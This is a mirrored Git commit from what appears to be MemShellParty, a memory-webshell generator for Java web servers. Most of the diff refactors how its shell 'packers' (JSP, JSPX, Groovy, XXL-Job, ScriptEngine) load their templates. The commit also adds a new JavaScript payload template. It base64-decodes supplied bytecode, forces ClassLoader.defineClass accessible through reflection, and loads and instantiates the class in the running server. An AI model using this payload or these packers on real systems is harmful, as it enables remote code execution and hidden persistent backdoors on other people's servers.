mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
refactor: loadResource
This commit is contained in:
@@ -113,6 +113,7 @@ public enum Packers {
|
|||||||
Aviator(new AviatorPacker()),
|
Aviator(new AviatorPacker()),
|
||||||
|
|
||||||
JXPath(new JXPathPacker()),
|
JXPath(new JXPathPacker()),
|
||||||
|
JXPathScriptEngine(new JXPathScriptEnginePacker(), JXPathPacker.class),
|
||||||
JXPathSpringGzip(new JXPathSpringGzipPacker(), JXPathPacker.class),
|
JXPathSpringGzip(new JXPathSpringGzipPacker(), JXPathPacker.class),
|
||||||
JXPathSpringGzipJDK17(new JXPathSpringGzipJDK17Packer(), JXPathPacker.class),
|
JXPathSpringGzipJDK17(new JXPathSpringGzipJDK17Packer(), JXPathPacker.class),
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.packer;
|
||||||
|
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/9/1
|
||||||
|
*/
|
||||||
|
public class Util {
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static String loadTemplateFromResource(String resourceName) {
|
||||||
|
try (InputStream stream = Util.class.getResourceAsStream(resourceName)) {
|
||||||
|
return IOUtils.toString(Objects.requireNonNull(stream), Charset.defaultCharset());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -16,15 +16,8 @@ import java.util.Objects;
|
|||||||
* @since 2025/1/21
|
* @since 2025/1/21
|
||||||
*/
|
*/
|
||||||
public class XxlJobPacker implements Packer {
|
public class XxlJobPacker implements Packer {
|
||||||
String template = "";
|
private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java");
|
||||||
|
private final ObjectMapper objectMapper = new ObjectMapper().enable(SerializationFeature.INDENT_OUTPUT);
|
||||||
public XxlJobPacker() {
|
|
||||||
try {
|
|
||||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset());
|
|
||||||
} catch (IOException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
@@ -44,8 +37,6 @@ public class XxlJobPacker implements Packer {
|
|||||||
map.put("glueUpdatetime", System.currentTimeMillis());
|
map.put("glueUpdatetime", System.currentTimeMillis());
|
||||||
map.put("broadcastIndex", 0);
|
map.put("broadcastIndex", 0);
|
||||||
map.put("broadcastTotal", 0);
|
map.put("broadcastTotal", 0);
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
|
||||||
objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出
|
|
||||||
return objectMapper.writeValueAsString(map);
|
return objectMapper.writeValueAsString(map);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-14
@@ -2,27 +2,15 @@ package com.reajason.javaweb.packer.groovy;
|
|||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Util;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.nio.charset.Charset;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/5/11
|
* @since 2025/5/11
|
||||||
*/
|
*/
|
||||||
public class GroovyClassDefinerPacker implements Packer {
|
public class GroovyClassDefinerPacker implements Packer {
|
||||||
String template = null;
|
private final String template = Util.loadTemplateFromResource("/memshell-party/shell.groovy");
|
||||||
|
|
||||||
public GroovyClassDefinerPacker() {
|
|
||||||
try {
|
|
||||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.groovy")), Charset.defaultCharset());
|
|
||||||
} catch (IOException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jsp;
|
|||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Util;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
@@ -14,15 +15,7 @@ import java.util.Objects;
|
|||||||
*/
|
*/
|
||||||
public class ClassLoaderJspPacker implements Packer {
|
public class ClassLoaderJspPacker implements Packer {
|
||||||
|
|
||||||
String jspTemplate = null;
|
private final String jspTemplate = Util.loadTemplateFromResource("/memshell-party/shell.jsp");
|
||||||
|
|
||||||
public ClassLoaderJspPacker() {
|
|
||||||
try {
|
|
||||||
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
|
|||||||
@@ -2,11 +2,8 @@ package com.reajason.javaweb.packer.jsp;
|
|||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Util;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
|
|
||||||
import java.nio.charset.Charset;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -14,17 +11,8 @@ import java.util.Objects;
|
|||||||
*/
|
*/
|
||||||
public class DefineClassJspPacker implements Packer {
|
public class DefineClassJspPacker implements Packer {
|
||||||
|
|
||||||
String template = null;
|
private final String template = Util.loadTemplateFromResource("/memshell-party/shell1.jsp");
|
||||||
String bypassTemplate = null;
|
private final String bypassTemplate = Util.loadTemplateFromResource("/memshell-party/shell2.jsp");
|
||||||
|
|
||||||
public DefineClassJspPacker() {
|
|
||||||
try {
|
|
||||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
|
|
||||||
bypassTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jsp;
|
|||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Util;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
@@ -14,15 +15,7 @@ import java.util.Objects;
|
|||||||
*/
|
*/
|
||||||
public class JspxPacker implements Packer {
|
public class JspxPacker implements Packer {
|
||||||
|
|
||||||
String jspxTemplate = null;
|
private final String jspxTemplate = Util.loadTemplateFromResource("/memshell-party/shell.jspx");
|
||||||
|
|
||||||
public JspxPacker() {
|
|
||||||
try {
|
|
||||||
jspxTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jspx")), Charset.defaultCharset());
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
|
|||||||
+8
-17
@@ -2,31 +2,22 @@ package com.reajason.javaweb.packer.scriptengine;
|
|||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Util;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.nio.charset.Charset;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
public class DefaultScriptEnginePacker implements Packer {
|
public class DefaultScriptEnginePacker implements Packer {
|
||||||
String jsTemplate = null;
|
private final String jsTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngine.js");
|
||||||
|
|
||||||
public DefaultScriptEnginePacker() {
|
|
||||||
try {
|
|
||||||
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/DefaultScriptEngine.js")), Charset.defaultCharset());
|
|
||||||
} catch (IOException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
public String pack(ClassPackerConfig config) {
|
||||||
return jsTemplate
|
return scriptToSingleLine(jsTemplate
|
||||||
.replace("{{className}}", config.getClassName())
|
.replace("{{className}}", config.getClassName())
|
||||||
.replace("{{base64Str}}", config.getClassBytesBase64Str())
|
.replace("{{base64Str}}", config.getClassBytesBase64Str()));
|
||||||
.replace("\n", "")
|
}
|
||||||
|
|
||||||
|
public static String scriptToSingleLine(String script) {
|
||||||
|
return script.replace("\n", "")
|
||||||
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
||||||
.replaceAll("[ \t]{2,}", " ");
|
.replaceAll("[ \t]{2,}", " ");
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-18
@@ -3,32 +3,19 @@ package com.reajason.javaweb.packer.scriptengine;
|
|||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.packer.Util;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
import static com.reajason.javaweb.packer.scriptengine.DefaultScriptEnginePacker.scriptToSingleLine;
|
||||||
import java.nio.charset.Charset;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
public class ScriptEngineBigIntegerPacker implements Packer {
|
public class ScriptEngineBigIntegerPacker implements Packer {
|
||||||
String jsTemplate = null;
|
private final String jsTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngineBigInteger.js");
|
||||||
|
|
||||||
public ScriptEngineBigIntegerPacker() {
|
|
||||||
try {
|
|
||||||
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ScriptEngineBigInteger.js")), Charset.defaultCharset());
|
|
||||||
} catch (IOException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
public String pack(ClassPackerConfig config) {
|
||||||
return jsTemplate
|
return scriptToSingleLine(jsTemplate
|
||||||
.replace("{{className}}", config.getClassName())
|
.replace("{{className}}", config.getClassName())
|
||||||
.replace("{{bigIntegerStr}}", Packers.BigInteger.getInstance().pack(config))
|
.replace("{{bigIntegerStr}}", Packers.BigInteger.getInstance().pack(config)));
|
||||||
.replace("\n", "")
|
|
||||||
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
|
||||||
.replaceAll("[ \t]{2,}", " ");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.packer.scriptengine;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Util;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
public class ScriptEngineNoSquareBracketsPacker implements Packer {
|
||||||
|
private final String jsTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngineNoSquareBrackets.js");
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
return scriptToSingleLine(jsTemplate
|
||||||
|
.replace("{{className}}", config.getClassName())
|
||||||
|
.replace("{{base64Str}}", config.getClassBytesBase64Str()));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String scriptToSingleLine(String script) {
|
||||||
|
return script.replace("\n", "")
|
||||||
|
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
||||||
|
.replaceAll("[ \t]{2,}", " ");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
var base64Str = "{{base64Str}}";
|
||||||
|
var className = "{{className}}";
|
||||||
|
var clsString = java.lang.Class.forName("java.lang.String");
|
||||||
|
var bytecode;
|
||||||
|
try {
|
||||||
|
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||||
|
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
|
||||||
|
} catch (ee) {
|
||||||
|
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||||
|
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
var clsByteArray = (new java.lang.String("").getBytes().getClass());
|
||||||
|
var clsInt = java.lang.Integer.TYPE;
|
||||||
|
var pTypes = java.lang.reflect.Array.newInstance(java.lang.Class.class, 4);
|
||||||
|
java.lang.reflect.Array.set(pTypes, 0, clsString);
|
||||||
|
java.lang.reflect.Array.set(pTypes, 1, clsByteArray);
|
||||||
|
java.lang.reflect.Array.set(pTypes, 2, clsInt);
|
||||||
|
java.lang.reflect.Array.set(pTypes, 3, clsInt);
|
||||||
|
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", pTypes);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
|
||||||
|
clazz.newInstance();
|
||||||
Reference in New Issue
Block a user